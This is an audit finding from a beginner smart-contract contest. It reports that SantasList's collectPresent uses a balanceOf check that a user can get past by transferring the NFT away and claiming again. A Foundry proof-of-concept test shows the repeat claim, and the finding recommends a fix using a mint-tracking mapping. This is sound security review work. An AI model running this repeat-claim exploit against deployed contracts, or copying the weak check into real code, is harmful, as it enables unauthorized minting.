First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Malicious user can collect more than 1 NFT

0xaraj

Summary

Malicious user can collect more than 1 NFT because of wrong/lack of checks

Vulnerability Details

SantasList::collectPresent is using balanceOf() as an check to track minted NFT, this balanceOf() can be manipulated/changed by transferring the token

function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
@> if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}

How this will work

  • Malicious user got checked NICE OR EXTRA_NICE both the time by santa

  • Now,malicious user is eligible to collectPresent and he claims his present for the first time

  • He got 1 NFT ie balanceOf(malicious_user) = 1

  • Then he transfers his NFT to other address, therefore balanceOf(malicious_user) = 0

  • Now, again he can collectPresent and repeat this cycle

//Here is the POC

function testCollectPresentNice() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.NICE);
santasList.checkTwice(user, SantasList.Status.NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.startPrank(user);
// claming present for the first time
santasList.collectPresent();
// transfering it to user2
santasList.safeTransferFrom(user, user2, 0);
// again claming present ie for the second time
santasList.collectPresent();
vm.stopPrank();
​
uint256 tokenAmountOfUser = (santasList.balanceOf(user));
uint256 tokenAmountOfUser2 = (santasList.balanceOf(user2));
​
assertEq(tokenAmountOfUser, 1);
assertEq(tokenAmountOfUser2, 1);
}

Impact

Malicious user can mint as many NFT as he wants therefore no need to buy NFTs by paying santaToken

Tools Used

  • Manual Review

Recommendations

Instead of using balanceOf() use mapping to keep track of amount of token minted by an address and use it as check

+ mapping(address user => uint amount) internal s_mintedToken;
Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!